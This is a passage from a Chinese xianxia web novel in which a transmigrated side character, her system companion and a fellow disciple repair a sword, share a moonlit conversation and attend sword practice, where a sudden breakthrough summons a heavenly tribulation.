肖扶山出身仙门扶桑之下的一个修真大族,不俗的身世让他的气质在一众器修中出类拔萃,就连那张脸也是昆吾少有的好颜色。 余白没忍住多看了美人师兄一眼,再一眼。 在看第三眼的时候一道声音冷不丁从头顶响起。 “你又喜欢上肖扶山了?” 余白心下一惊,也幸好肖扶山已经拿着天雷火和桃木剑去那边研究怎么修补了,不然肯定听见少年的虎狼之词了。 她板着脸:“你胡说八道什么呢,我对肖师兄只有敬仰和欣赏之情,才没有怀有其他龌龊心思呢!” “哦,也是,我忘了,某人可是扬言说喜欢齐昭喜欢得不得了,心里哪能容纳其他人呢。” 少年歪头,后头的马尾也跟着甩了下。 “是吧余白师姐?” 先前一路上余白都想方设法叫对方唤她一声师姐听听,却死活撬不开他的嘴,现在喊了,她怎么听都不中听。 余白合理怀疑对方是在阴阳怪气自己,偏偏她的确说了这些酸掉牙的话。 真是搬起石头砸自己的脚,早知如此她就不说气话了。 余白鼓了鼓腮帮,扭过头不搭理他。 江厌星笑了笑,反而凑过来用肩膀撞了下她肩膀,语气轻缓:“开个玩笑而已,别那么小心眼呀师姐。” 少年是纯阳之体(微瑕版),体温要比寻常人高,加之道袍轻薄,这么简单碰了下也能感觉到。 余白虽不是土著,不那么讲究男女有别,可她在原先世界也基本上只和女孩子玩,异性朋友很少。 倒不是她性别歧视,主要是女孩子都是香香软软干干净净的,身边的男生不至于邋遢,但大多都不怎么讲卫生。打完球一身汗臭的,桌子上乱七八糟摆放的,甚至还有抠鼻屎蹭椅子底下的,当时余白看到了恶心的隔夜饭都要吐出来了。 所以对于他们,余白大多表面关系,不接近,更不会深交。 唯独她同桌江厌星,他简直就是班上男生中的一股清流,身上永远清清爽爽,指甲修剪得整齐干净,头发也没有梳得怪里怪气,而且他还长得特别好看! 余白一点都不排斥和他相处。 可人无完人,上帝给了江厌星一张完美的皮囊,却也给了他有些恶劣毒舌的性格。 他和她混熟了之后总爱捉弄她,包括不仅限于找他讲题他要让她上供自己珍藏的零食,上体育课的时候得帮他拿水和外套,要是假手于人被他发现了他会生气的一天都不搭理她。 这也还好,这种只算小发雷霆。 有一次她尿急,把东西暂时交给了闺蜜何毓秀,结果回来后发现何毓秀嫌弃的把衣服扔给了班上一个暗恋江厌星的女生,这一次江厌星是真的大发雷霆了,连续一周都没搭理她。 马上就要期末考了,她不能没有江厌星帮忙勾画重点,易错点,更不能没有他帮忙押题。 余白想尽各种办法道歉也道了,零食也上供了,还给他排队去食堂买到了超难买到的菠萝饭。 都这样了,他的气才只消了一半。 余白也生气了,觉得他实在莫名其妙,不可理喻,于是拿回了给他的零食,又让他还她菠萝饭的钱。 最后在何毓秀的建议下准备去找班主任换位置。 年级第一有什么了不起的?她还有她的好闺闺,她要和何毓秀坐一起,把好吃的都给她,她们两个菜鸡互帮互助也一定可以成功度过期末考的! 江厌星在知道她要去换位置的时候突然慌了,拉着她不让她去。 “你不是不想和我做朋友了吗?为什么不让我去?” “我没不想和你做朋友,我就是生气……你也知道的,我有洁癖,你怎么能把我的衣服随便给别人呢?万一人把我的衣服乱扔或者做奇怪的事情怎么办?” 余白原本觉得他有被害妄想症,可想起当时那个女生一脸红晕抱着江厌星的衣服埋进去跟猫吸薄荷一样一通猛吸,她沉默了。 “……那你也不至于那么大气性吧?” 江厌星反而更委屈了,漂亮的眼瞳水蒙蒙的——事后何毓秀说他提前滴了眼药水。 不过那时候余白的确心软了,尤其是他还说—— “因为你是我最信任的朋友,我这么信任你,你却辜负了我的信任,要是我把你的衣服拿给别的男生你会不会生气?” 好像,的确是那么回事哈。 余白心虚了,以为他真哭了想去给他拿纸发现抽纸用完了,便慌忙伸手去给他擦。 那是她第一次碰到男孩子的脸,有点烫。 可能因为眼泪,也可能是因为他本身体温就高。 余白神情恍惚地盯着被撞的地方。 24 第二十四章 “好点没?” “好多了,谢谢呀。” “你刚才道过谢了。” 江厌星把放在她额头的手拿开,垂放下去的时候手指摩挲了下。 很下意识的一个动作,连他自己也没注意。 因为这么一个小插曲,两人之间一直以来都很和谐的气氛开始变的有些微妙和尴尬。 洞府里就三个人,一个在专心修复,他们不说话了,一时之间空气沉默得让人不自在,余白不知道对方什么感受,反正她浑身都刺挠。 她是个E人,受不了冷场,要是换做平时她可以跟江小白聊到嘴皮发干,可这回她完全不知道该怎么找话题把那种莫名其妙的尴尬给盖过去。 于是余白干脆去戳系统。 【聊聊?】 【?聊什么?】 【随便,只要让我别那么尴尬就行。】 系统是个人机,不是很能理解刚才的情况有什么好尴尬的,但两人突然凝滞下来夹在中间的系统也不是很适应。 【可以,我正好有事情要跟你说。先前你不是提交了江小白代走的名场面吗,加上之前打卡齐昭的,路人甲积分达到二十后你猜我发现了什么?】 余白很配合问:【发现什么了?】 系统语气激动:【你从一级路人甲升级到二级了!】 余白也高兴起来了,她之前用了一年时间才实现了零的突破,结果现在竟然这么快就升到二级了,真是可喜可贺。 【升级了有什么奖励吗?】 【呃,奖励倒没有,但是我看到技能栏里出现了一个待解锁的技能!说只要达到三十积分就能解锁了。加油宿主,我们目前总积分有二十点,还差十点我们就可以解锁新技能了!】 十点,要是换作以前或许遥遥无期,可现在…… 余白瞥向旁边身姿挺拔的少年,不动声色掏出了纸笔。 原剧情里齐昭和肖扶山也有交集,后者也曾看重前者天赋,希望他在修剑的同时辅修器道。 齐昭拒绝了,说他更属意刀或者符之一道。 肖扶山有些生气,觉得对方看不起器道,对他下了战帖,主角再天赋异禀气运逆天,也不可能赢得了当时已是离光境的肖扶山,但齐昭虽败犹荣,逼得青年使出了命火。 余白眼珠子转了转,贴着冰符凑过去对肖扶山提议道:“师兄师兄,你能不能用命火来修复啊?” 这样她好打卡。 肖扶山额头青筋凸起:“余白你是不是有病?这桃木剑又不是什么神兵,你让老子消耗寿元来修复?” 余白没想到使用命火会消耗寿元,听后也吓得连连摆手。 “没,我开玩笑呢,你别当真。” 她歇了打卡的心思,悻悻站了回去。 肖扶山冷哼了声,然后继续修复桃木剑。 在最后一缕火焰钻进剑中后,他缓缓吐出一口浊气,收了灵力。 余白十分有眼力见上去给他递帕子,眼睛往那把桃木剑上放。 只见那把桃木剑上的裂痕已恢复如初,看不出一点损伤。 而且不知道是不是她的错觉,这剑的剑气好像更逼仄了些,她光是看一眼就眼睛疼。 而事实证明她感觉没错,这把桃木剑的确升级了。 江厌星抬手抚摸剑身,经由他抚摸的地方浮现出一道赤金剑纹,纹路很简单,就一根手指宽的纹路从上而下横穿剑身。 肖扶山微抬着下颌,语气隐隐自得:“你的天雷火虽霸道,但过刚则断,容易伤剑伤己,所以我给你灌了一道我的灵火融进去中和下。以后除却离光境以上修士,什么金丹元婴都损不了此剑分毫。” “哇,师兄你好厉害!我就知道我带他来找师兄准没错!” 余白毫不吝啬自己的彩虹屁,情绪价值给的足足的,当然这也是出自真心,因此青年很是受用。 “就你嘴甜。” 肖扶山扔了个东西过来,余白下意识接住。 “这是?” 肖扶山道:“那块雷击木剩下的边角料,顺手给你雕了个坠子。这回你要是再敢抵了或是丢了我饶不了你。” 余白看着手中那尾半个手掌大,头尾相衔,栩栩如生的鱼形木坠,尴尬地朝着旁边的江厌星笑了笑。 “你别介意,我师兄向来都这么呃,节俭朴素。” 先前或许是为了不让少女有心理负担找的借口,这次还真是边角料了。 江厌星皱了皱眉,想说什么,肖扶山先一步道:“你别小看了这木坠子,里头同样有我的灵火和江师弟的天雷火,你前段时间才被雷劈,这个当护身符再合适不过了。” 他听后一顿,的确,这上面有他的天雷火,意味着她日后只要离得不是很远他都能感知,遇到危险什么的也好赶过去。 于是江厌星便没再说什么了。 注意到这一幕的肖扶山心下冷哼。 还是天真了师弟,这上面还有我的灵火呢,你要是对小师妹干了什么不好的事情他也能第一时间觉察,把你当场抓获。 两人各有心思,只有一人一统沾沾自喜。 【我检测了,评级中品,是个好东西!挂灵网上能卖至少六个数!】 【你也太俗了,价值价值不重要,重要的是师兄的一片心意!】 余白这么对系统说着,眼睛却在听到了估值后笑弯了。 她是不缺钱,但人不会嫌钱多。 最好是摩多摩多! 不过这毕竟是少年的雷击木,余白观察了下,发现他并不在意后才对两人各道了声谢,然后把这个小木鱼系在自己的灵笔上。 唔,有点大,不过她的笔长,这么看着一人还好。 见少女把东西收好后,肖扶山才转头对江厌星道:“剑是给你修好了,我还给你把里头的杂质用火淬炼干净了,你也得去把自己给收拾干净点,别到时候拿回去用上几天就把它给弄脏了。” “脏?” 余白上下扫了江厌星一圈,很是疑惑:“他不脏呀。” 肖扶山道:“我没说他脏,是他身上戾气太盛,浊气太重,得去去一下,不然容易被剑气反噬。看你这样子应该已经被反噬过很多次了吧。” 余白神色一凝。 先前和风琅玉交手的时候撤回剑招的时候江厌星便被反噬过一次,这还好,只要是强行撤招的都或多或少会伤到自身,可在秘境,他没有撤招也被剑气反噬过好几次,以至于到最后关头司徒乾还没杀人夺灵根,他自己先差点把自己折腾死。 当时余白和系统也发现了,以为是江厌星单纯倒霉,关键时刻被气运太差掉链子,没曾想原因出在这里。 一般戾气重有两个原因,一是先天的,比如天生的魔修,妖修或者鬼修,二是后天的,手上人命多了自然就戾气重了。 而浊气重,于修者而言却很少见。 修者吸收天地灵气进行修炼,哪怕是那些邪魔外道他们也吸收的是魔气,鬼气,妖气,而不是于修行无用的浊气。 江厌星浊气重大约是常年在凡尘待着,凡尘灵气稀薄,凡人气息混浊,久而久之他也被影响,污染了灵体。 意识到这一点的时候余白更震惊了。 本身他的天赋就好到让人咋舌了,结果他还不是一直在灵力充盈的修真界,而是在凡间修炼成这样的,这已经不是天才的范畴了,这是怪物了吧。 江厌星也知道自己有这个问题,这也是为什么他想要去灵禅宗拜师,到那里他身上无论是浊气还是戾气都能被佛塔净化。 可造化弄人,他现在已经入了天极宗。 不过既然肖扶山是说让他祛除,而不是让他想办法,说明他是知道该怎么解决这个问题的。 江厌星正要问,余白先开口道:“那就得去丹霞峰了。” 肖扶山抱着手臂,秀气的眉微蹙:“不是单纯去丹霞峰就能解决的,得去找了然真人,整个丹霞峰只有他能够完全除掉他身上的浊气。” 余白抓住了重点。 青年只说去浊气,却没说可以去戾气,说明要解决后者的问题还得在万籁峰。 余白有些同情地看向少年,唏嘘道:“你身上的问题真多,上一个修炼这么麻烦的的还是混灵根的风琅玉。” 江厌星回道:“但我没她那么弱。” 重点在这儿吗? 余白翻了个白眼:“好好好,你最厉害,你世界无敌第一厉害。” “也比齐昭厉害?” 余白一噎,对上他揶揄的目光气得伸手,江厌星侧身一躲,挑了挑眉。 “又想拽我头发?同样的招数我可不会上当两次。” 余白看着他后面的马尾扫动,手更痒了。 肖扶山眼皮一跳,自家傻师妹怎么又被带走了? “还玩呢,没听到我刚才说的话吗?你,去丹霞峰找了然师叔给你把身上浊气给清除干净。你!” 他戳了下少女的额头,恨铁不成钢道:“你给我回青云峰,伤才好就到处跑,好好静养去。” “哦。” 余白和江厌星出去的时候天已经完全黑了。 天极宗位于昆仑山脉灵力最充盈的地界,旁边还有一座灵山不周,两山拱聚,巍峨壮阔。 到了夜晚苍穹也清明如镜,没有一片浮云遮眼。 这和二十一世纪各种光污染的天空不一样,一抬头就能看见星河璀璨。 余白在穿越之后便喜欢上了看天。 清晨云雾萦绕仙气飘渺,中午天清气朗惠风和畅,傍晚晚霞漫天如梦似幻,到了夜里更是星月相依美轮美奂。 她抬头,第一时间去找最显眼的北斗七星,然后再去看月亮。 今天的月亮好像比平常要圆一些,也要更亮一些。 皎洁的月光落在山头,像是落了一层霜雪,落在身旁的人身上这雪便成了十级柔光滤镜,让少年整个人都在发光。 闪闪发光。 她又想起了这个和路人甲完全不匹配的词来。 江厌星也在看月亮,黑潭似的眸子如同无尽的深海,连月光都照不进去。 作为穿越者,余白一直对这个世界都有着割裂感,她可以和所有人打成一片,但很难真的让他们走进自己的心里。 因为她知道,她不属于这里,等到任务完成,剧情结束,她就要回到自己的世界,回到自己真正的家。 可对方这样子似乎比她还要和这个世界格格不入。 也是,他双亲已死,伶仃孤苦,宛若天地一粟,海上一叶,飘摇无依无靠无根。 哎。 余白叹了口气,又动了恻隐之心。 她走过去了一点,和少年肩膀差一点要挨着的时候停下,和先前口头说着罩着他不同,这一次以行动和他站在了一起。 江厌星垂眼:“冷?” “不是啦,我就是怕你伤心想安慰一下你。” 余白指着天上的星星说道:“我听过一个说法,离去之人并没有真正离去,他们只是化作了天上的星星,你想他们的时候只要抬头就能看见……你爹娘我想也是这样无声地陪伴着你。” 江厌星没有说信还是不信,轻声问道:“你想回家吗?” “想啊。” 余白想也没想就回道,可话音刚落才反应过来在别人眼里天极宗就是自己的家,自己这样说很奇怪,又忙解释道:“今天在外面忙活一天,累死我了,我可想回青云峰回我的床上舒舒服服睡上一觉呢。” 江厌星长睫下的眸色被挡住了,勉强算清秀的脸上逆着月光看不真切。 崖下突然上来一阵山风,扬起他额前的碎发,身后安静垂落的马尾也被带起一个轻盈的弧度。 “我也累了。” 他的声音轻的要散进风里。 “我们一起回家。” 江厌星第一次杀人不是在入道后,而是之前。 在得知收养他的那对夫妻送他去私塾回来的路上被土匪截杀的时候,他去认领了尸体,把他们埋好下葬立碑后,回到了家中。 江厌星以为自己会害怕会愤怒,但他意外的平静。 他平静地枯坐了一晚上,在第二天朝露凝出,雾气未散的时候他拿了原主父亲留下的那把打猎的弓箭出门了。 他做了一个很疯狂的决定,他要去杀了那窝土匪。 江厌星是一个很理智的人,他从不会做没有把握和自寻死路的事情。 当时他就是那么干了。 出离的情绪让他脑子一片空白又一片混沌,江厌星觉得那不是他自己,是原主回来了,带着身体被夺走的不甘,亲人离世的悲愤。 或者这其实就是他自己,只是他不想承认自己竟然为了个不真实的纸片人的死去做了愚蠢的以卵击石的决定。 而江厌星也不是完全的被情绪冲昏了头,在打着为养父母报仇雪恨的念头之外,他还想着以同归于尽的方式回到现实世界。 他试了无数种办法,唯独没有试过这一种。 可能真的会死,也可能回家。 哪怕只有一线渺茫的机会江厌星也想要赌一把。 25 第二十五章 余白回了青云峰后没有休息,而是点开了系统商场。 【宿主,你现在的积分二十,可以兑换初级丹药炼制技能,或者初级剑术,初级符箓绘制。请问你是否选择兑换?】 “我兑换了对那个技能解锁有影响吗?” 【没有影响。技能解锁是获取的总积分达到三十点后自动解锁,不是消耗积分进行解锁。】 余白问清楚了才放下心,毫不犹豫道:“全给我点在画技上。” 【?】 “快点呀。虽然我的画技已经很好了,但我还想精益求精。” 【你不是一直想要兑换初级炼丹技能吗,你之前都浪费了那么多灵材了,就差一点了……】 系统试图让她改变心意悬崖勒马。 “那是以前,谁叫当时主系统的审美太差,一直都get不到我的画给我打低分,靠积分来兑换技能遥遥无期,我这不才走了炼丹的歪路吗?现在你没看到吗,我绝美诶,绝美评级!要是把我的画技拉满不敢想我的评级有多高,大师级?” 余白美滋滋,苍蝇搓手:“到时候咱们的积分不是轻轻松松赚得盆满钵满!” 系统都有点被说动了,可它很快就清醒了。 不是,评级绝美关你画技什么事?分明是江小白剧情代走到位了,装到位爽到位了,和你的鬼画桃符没一点关系好吧。 可就算系统这么说了也没用,它永远叫不醒一个装睡的宿主,于是只能最后垂死挣扎下。 【那个宿主,你要不再考虑考虑?虽然你的画技是……是很不错啦,可鸡蛋不能放在一个篮子里,咱们综合发展下。要不我们一半加在画技,一半加在炼丹或者其他技能上?】 “不用,就加画技,全加,加加加加到厌倦!” 系统:【……】 劝不动一点。 在余白的催促下,系统不情不愿将积分全加在了画技上。 余白感觉上来了,拿起画笔刷刷又是一副。 “不错,画技真的提升了。” 系统:……是啊,更辣眼睛了。 如果是反向提升的话应该也算提升吧。 今天虽然差点儿交代在风琅玉手上,不过既赚了积分又提升了画技,总体来看又是美好的一天呢。 余白心情愉悦地抱着画本进入了梦乡。 “咯咯哒!” 天边才起鱼肚白,鸣人中气十足的叫声便响彻青云峰。 余白一下子给吓醒,从床上弹坐起来。 “咯咯哒咯咯哒!” 鸣人就在她窗外站着,扯着嗓子叫,把她耳膜都要震破了。 “别叫了!大清早的叫魂啊!” 余白本来没有起床气的,这一两年里被鸣人叫的每天早上都很有戾气。 她黑着一张脸,掀开被子气呼呼下床梳洗。 余白不大会梳头发,先前原本是随便扎的马尾,再用簪子束了下就完事了,雪明霜当时收了她的礼物不大好意思,于是在去往秘境的途中帮她重新梳了头发,叫什么垂挂髻,特别灵动可爱,余白很喜欢,一路没少照镜子臭美。 她回忆着当时雪明霜的步骤去梳,试了好几次都失败了,眼看着鸣人叫了峰中其他人后又要折返来折磨她脆弱的耳朵,余白只得手忙脚乱绑个马尾便匆匆踩着仙鹤去练剑台了。 “余师妹,早。” “师妹,早啊,伤好了吗?要是还有哪里不舒服来找师兄,师兄传授你一套养生拳。” “师妹别听他的,以体修的修炼强度他们的养生拳,对你来说不得去半条命?这个给你,是什么?避雷针啊,你不是不小心被雷劈了吗,下次万一再脑子抽了为爱疯狂给齐师弟挡天雷,带上这个能削弱天雷一成的伤害。别嫌少,这已经很多了,毕竟那可是天雷!但爱情诚可贵,生命价更高,师姐更希望你永远都没有用到这避雷针的一天,不要再做傻事了。” “师姐,咯咯哒,我囊中羞涩可否资助我一点灵石买份筑基丹……” “师姐!” “师妹!” “……” 余白:“……” 躲过了鸣人没躲过这群家伙,怎么比鸣人还要吵啊! 余白人机打招呼,微笑,然后在他们还要上前攀谈的时候贴上一个极速符迅速开溜。 她马力全开,光提速没注意看路,不小心撞到了人。 “对不起对不起,我不是故意……唔,雪师姐?” 被余白撞到的人正是雪明霜。 雪明霜一身白衣不染纤尘,和之前在秘境的狼狈判若两人,她将有些踉跄的余白扶稳,然后拍了拍她身上不存在的灰尘,动作轻柔,眉眼也温和。 “没事吧?” 雪明霜在天极宗对外的形象一直都是高冷寡言,平时脸上也没什么表情,加上她灵根为冰,一靠近她就冷飕飕的,所以给人冷漠不好接近的感觉,但她只是不善交际。 余白知道她是个面冷心热的人,可现在突然也面热起来,她反而有些不适应了。 “我没事师姐。” 她看着雪明霜宠溺的要滴水的表情,很是受宠若惊。 “那身上的伤呢?痊愈了吗?要是还不舒服今日晨练就免了,一会儿若是长老问起来我帮你周全。” 天啦,这还是高冷女神雪明霜吗? 要知道在剧情里前期雪明霜对男主也很冷淡的,到了后面她喜欢上了男主那也是高岭之花一朵,这就是她的人设,可现在她竟然对她一个路人甲如此温柔似水,关怀备至,她何德何能啊! 余白有些不真实道:“我,我没事,我已经好了,师姐呢?” 雪明霜脸上的笑容更甚:“劳小师妹挂心,我已无大碍。” “雪师姐……” 一个弟子走过来唤道。 雪明霜笑容收敛,恢复了原本冷若冰霜的模样:“何事?” 弟子道:“前几日晨练的时候新入门的一个小师弟因为练错了剑式气血逆行,差点儿伤了根骨,为了避免此事再发生,执剑长老便让我找每日第一个来练剑台的师兄或师姐去剑台上领剑,你是今日第一个,所以……” 雪明霜一直跟随她母亲雪梅见住在梅山,除却每月考核外很少来练剑台,今日若不是担心余白,想亲自来看看她的情况她并不会一大早就从梅山过来。 雪明霜和风琅玉一样,虽拜入天极宗,但归于世家,只是在此求道修行,同时她们的长辈都是宗门长老,只是风琅玉的姑姑风青荷是万籁峰的峰主,住在宗门内,雪梅见只是个挂名长老,住在雪家的灵地梅山。 梅山挨着昆仑,在不周以北,距离有些远,御剑可能得要至少两个时辰,雪明霜怕来晚了见不到人,三更不到就出门了,结果来的太早反而还遇到了这样的麻烦事。 她眉峰拢起,排斥的神色肉眼可见:“我不是剑修,领剑你找其他师兄师姐吧。” 弟子也很困扰,那些剑修都有主意得很,一个个的都忙着自己修行,根本不愿意浪费时间来带这些新入门的弟子,不然执剑长老也不会让他这样拎人。 他堆上笑脸道:“雪师姐不用担心,你领他们学一套入门剑法就好,他们目前大多数弟子都还没拜师,晨练的主要目的是让他们跟练打好基础而已。” 话都说到这份上了,雪明霜再想推拒就有点太不近人情了。 雪明霜冷着脸答应了,那弟子松了口气,再三谢过她后便被离开了。 雪明霜回头有些歉疚道:“小师妹,刚才忙着说话没顾及上你,还有我可能要离开一下了……” 余白被对方前后的变如脸给恍惚到了,摆手道:“没事没事,我就在练剑台,有什么我们晨练后再聊。” 目送雪明霜三步一回头上了剑台后,她抬起手擦了擦额头上不知何时沁出的虚汗。 【……你对她做了什么?雪明霜怎么OOC了?她的卖点就是高岭之花,现在你看都崩成什么样了,她应该一直高冷下去,温柔女主我另有人选!】 系统很生气,男主不好好走剧情也就算了,怎么连女主也崩人设了,一个两个的怎么都这么不让人省心! 【我,我什么也没做啊,我就是送了她一根红珊瑚簪子还有你干嘛那么冲,你以为我很享受男主待遇吗,她这么对我我也压力山大好不好,生怕天道一个不爽觉得我喧宾夺主抢走男女主互动戏份给我又来一道雷呢。】 【那你还和她聊的有来有回,还说一会再聊!你既然没那个心思就不要给她机会!】 【抱歉,伤害女人的事情我做不到。】 一人一统这么贫嘴了一会儿后,见不远处的鸣人又在巡逻,怕被它发现自己在摸鱼飞过来啄她脑壳,余白赶紧收了和系统玩笑的心思,从旁边的供弟子练习的剑架子上随手取了把木剑就钻进了大队伍中。 余白个头不高,一米六的样子,其实是原本的世界她这放在女生里就是普通身高,但在天极宗就有点不够看了。 修士吸收天地灵气修行,长得一节更比一节高,因此就衬得余白像个矮冬瓜了。 余白资质有限,靠先天努力长个子比较困难,于是她便发挥钞能力,每天都给自己塞一颗长高丸。 这是沈宿眠根据她的体质给她调配的丹药,还给她加了蜂蜜,吃起来也很适口。 除了贵没别的毛病。 她坚持吃了一年,已经从一米五八长到了一米六一点五,再吃个一两年应该就能到一米六五了,那是她想要的完美身高。 差点儿忘了,今天的长高丸还没吃呢。 余白从芥子囊里掏出丹药就要往嘴里塞,头顶冷不丁传来一道声音。 “你在吃什么?” “咳咳,你,你这家伙走路怎么没声啊,吓我一跳。” 幸亏丹药没塞进去,不然估计得吓得噎死,不过现在也被口水给呛到咳嗽不停了。 江厌星见了忙伸手去给她拍背,心下也有些懊恼。 “抱歉,我收敛气息惯了,不是有意吓你的。” 余白摆了摆手:“没,没事,你下次别这样了就成。” 早上刚被鸣人吓醒,现在又来一遭,她的小心脏实在受不住。 江厌星见她缓过来了,视线落在她手上的绿色丹药上。 余白不大好意思给他说这是用来长高的药丸,含糊道:“这就是个固本培元的丹药,晨练太耗费体力了,我怕坚持不下来提前吃颗补补。” 她把丹药塞进嘴里囫囵咽下,提着剑往后排走。 江厌星也跟了上去。 “你跟着我干什么?前面那么多空地。” “我们不是朋友吗?我和其他人又不熟不跟你跟谁,而且不是你说的吗有你一口肉就有我一口汤,你会罩着我的,这才一天过去你就忘了吗?” 江厌星一边跟一边输出,一口气说完都不带喘一口气的,肺活量之强。 不知道是不是错觉,之前他和她的确还挺一见如故的,却也知道些分寸,可现在他怎么好像真赖上自己了? “余白,?师姐?你说话啊。” “哎呀,你唐僧啊,唠唠叨叨的烦死了!晨练而已,需要罩什么?” 余白嘴上凶巴巴的,但也没赶江厌星走,让他在自己旁边站着,不要靠太近了,小心刀剑无眼。 江厌星看了下她手中那把木剑嗤笑了声,就这还刀剑无眼呢? “把你的剑给我。” 余白瞪他:“干嘛?让你跟上来已经够可以了,还要我的剑,没见过你这么连吃带拿的。” 他挑了挑眉:“你不是喜欢我的剑吗,我给你使你不乐意?” 一道剑风拂过,桃木剑唰的一下出现在了余白面前。 在看到她手上还有别的剑后小发雷霆,啪的一下把木剑给挑飞,然后钻到了她手里。 江厌星接过那把被挑飞的木剑,顺手挽了个剑花,明明是把木剑,却弄出了灵剑的气势来。 余白又惊又喜,拿着桃木剑爱不释手:“第一流!一夜不见怎么感觉你更帅气了呢!” 她靠近亲亲热热拿脸蹭了下剑身,它身上的剑纹也闪了闪,似在回应。 余白更开心了,对江厌星缠着她没那么排斥了。 “咯咯哒!咯咯哒!” 两声嘹亮的鸡叫传来,呵斥着余白和江厌星晨练交头接耳的行为。 江厌星今晨也领教过这只灵鸡堪比风琅玉魔音入耳的杀伤力,揉了揉耳朵和少女分开一段距离。 鸣人这才雄赳赳气昂昂继续巡视,谁不认真就咯咯哒地叫,遇到过于顽劣的直接开啄,一时之间鸡声和弟子们的哀嚎声此起彼伏,好不热闹。 没闹腾多久,下一秒寒气涤荡,练剑台瞬间凝上一层薄冰。 剑台上的雪明霜冷着眉眼看向下面的弟子,目光所及所有人都噤若寒蝉。 在扫到余白的时候眼神柔和了一分,随即在看到她身旁的江厌星脸沉了下来。 但就一瞬,快得余白以为是自己的错觉。 待到所有弟子都安静老实后,雪明霜才开始领剑。 雪明霜不是剑修,但在剑上也颇有些天赋,若不是出身雪家,她没准也会走上剑道,或者其他的道途,她会有更多的选择,而不是必须按照雪家给她制定的道路走下去。 顾忌下面的弟子大多都是新入门的,她放慢了些速度,一招一式都很干练精准。 就连余白都能看懂。 而且她要是有哪里没做对第一流还会给她自动矫正,这是余白头一次体会到了练剑的快乐。 只要是看修仙小说的十有八九都有个剑修梦,余白也不例外。 她曾经无数次幻想过自己一人一剑走天下的飒爽场景,因此在老祖宗第一次入梦找上她的时候,她便缠着对方教她练剑。 结果自然惨不忍睹,她于剑道毫无天赋。 余白当时还没完全认命,认为天道酬勤,只要自己努努力还是有机会的。 于是她努力了一个月,在把自己浑身上下搞得青紫后她破防了。 她以为自己这辈子都和剑无望了,没想到今日迎来了转机。 26 第二十六章 说实话,要不是动静太大瞒不住,江厌星是绝对不会承认自己在看了余白那套被电得乱七八糟的剑法后突破的事实。 这实在太丢人了。 不过他之所以突破本质上和余白关系不大,别人不知道她凝出的所谓剑气是雷击木本身就自带的一点天雷之力,所以真把她那套抖得筛糠一样的剑法当成余秋离的真传。 他们观摩是去其精华留其糟粕,自然看不出个所以然。 而江厌星是反着的,刨除余白剑法中九成的糟粕,他看到了那一成的来自余秋离的剑意。 然后他就这样水灵灵地突破了。 江厌星对这样猝不及防的情况已经习惯了,不,是麻木了。 上一次他被司徒乾他们追杀的时候也是这样,早不突破晚不突破,偏要在他快要成功逃走的时候突破,导致他困于天雷,差点被他们抓住。 因此对于别人来说突破是好事,对江厌星这个幸运E而言,是暴风雨前的宁静。 江厌星一脸冷沉地抬头看天。 这次雷劫来得突然是突然,但比起秘境时候好上许多。 首先他没有被追杀,其次,他身上也没什么伤了,更重要的一点是天极宗灵力充沛,是天然的渡劫宝地。 这一切都太好了,好得江厌星越发不安了。 事出反常必有妖,天道后头肯定有什么大招憋着等他,他决不能掉以轻心。 不过目前天道什么的先抛之脑后,雷劫要来了。 周围弟子神情慌乱,忙做鸟兽散。一边跑一边还嗷嗷叫唤着“我嘞个天道”之类的。 练剑台有那么多弟子,这么一窝蜂跑开动静不小,一旁电麻了的余白也在闹哄哄的声音里找回了意识。 她呆滞的眼神恢复了几分清明,扭头问雪明霜:“雪师姐,他们这是怎么了?是鸣人又在追着他们啄吗?” 雪明霜将少女被电得扎起来的两个发髻给压下去,她原本注意力全部集中在不大对劲的余白身上,此时在众人四散开来后才发现剑台中心站着的江厌星的异常。 只见峰中四周的灵力在不断朝着少年周身汇聚,浓郁的灵力泛着白光,浓郁到似要滴下来。 不光如此,灵力搅动着山间雾气,天上风云也自上而下在与白雾相连。 一时之间练剑台不分天地,雾霭沉沉,诡谲阴郁得让人心惊。 这副场景雪明霜在齐昭在秘境突破的时候见过,不,比起齐昭突破的时候动静还要浩大可怖。 也是,当时齐昭不是自然突破,是强行引的雷劫,而江厌星是本身就到达了金丹境,这牵引的天地异象自然是要更磅礴一些的。 话虽如此,在切身感受到这灵力的庞大后雪明霜还是颇为震撼。 如果江厌星也是天命者搞出这样大的动静也便算了,但雪明霜已经知道了他的检测结果,资质不全,天赋有缺,这样的情况在修真界被称为天缺。 是天命的另一个极端。 天命者受天道眷顾,天缺者则反之。 只是后者虽气运不厚,却有不输于天命者的天赋,若逆天改命,必飞升成仙。 因此她第一时间想的和江厌星一样,这劫数恐怕没那么容易渡。 “轰隆”。 天上又响起一声雷鸣。 余白这下那最后一点迷糊也给吓醒了,自从之前被雷劈过后她就对天雷PTSD了。 “啊呜不要劈我不要劈我!我发誓我再也不抢男主风头再也不抢男主互动了,我改,我一定改!求你饶过我这一回吧,这是我一生一次的请求!” 余白抱着头丝滑滑跪告饶天道,雪明霜虽听不懂她在说什么,可她脸色煞白,又联想到当初秘境一事哪里有不明白的。 这是害怕雷再劈她。 雪明霜又好笑又心疼,把人圈在怀里,柔声安抚:“别怕别怕,那天雷不是劈你的是劈江师弟的。” “嗯?劈江小白的?” 余白睁开眼睛小心往劫云汇聚的地方看去,偌大的练剑台空无一人,只有江厌星一人伫立。 她惊讶地睁大眼睛:“他不才突破失败吗,怎么又突破了?” 一般突破失败的修者会卡在瓶颈,最少一年最多十年,几十年不等,哪有人一月之内突破两次的?这坐火箭也没这么快啊。 余白再次感慨同路人甲不同命,人都要金丹了,她还在练气原地踏步。 “小师妹,以防万一你跟着其他人暂时先离开此地。” 雪明霜这么叮嘱余白,自己却起身要往江厌星那边过去。 余白忙拉住她:“雪师姐,你干什么去?” “我去给他护法。” 余白急了:“你一个筑基你给他护法?万一雷劈到你了怎么办?” 雪明霜是筑基大圆满,看上去和江厌星修为相当,但要知道同境之中剑修最强,她的冰灵根又和天雷相克,哪怕是余白都比她适合护法。 雪明霜也知道,但是这里除了她也没其他人了。 余白也意识到这一点,看了周围一圈。 这么多弟子,不是新入门的就是一些修为低微的师兄师姐,明明平常时候练剑台再不济也是有一两个金丹修士在此主持纪律的。 今天真是奇了怪了,执剑长老不在,连最爱来练剑台采风的云茯苓也没在。 【有什么好奇怪的?你忘了吗,江小白是个幸运E。】 系统一语惊醒梦中人。 “你等下,我去剑阁找执剑长老。” 雪明霜摇头:“刚才叫我领剑的弟子就是执剑长老的剑童,他说执剑长老前几日去不周论道了,要过一两个月才回来。” “那,那我去找肖师兄……” “小师妹,来不及了。昆吾峰距离此地来回最快也要一个时辰,等肖师兄到了这雷劫早过去了。” 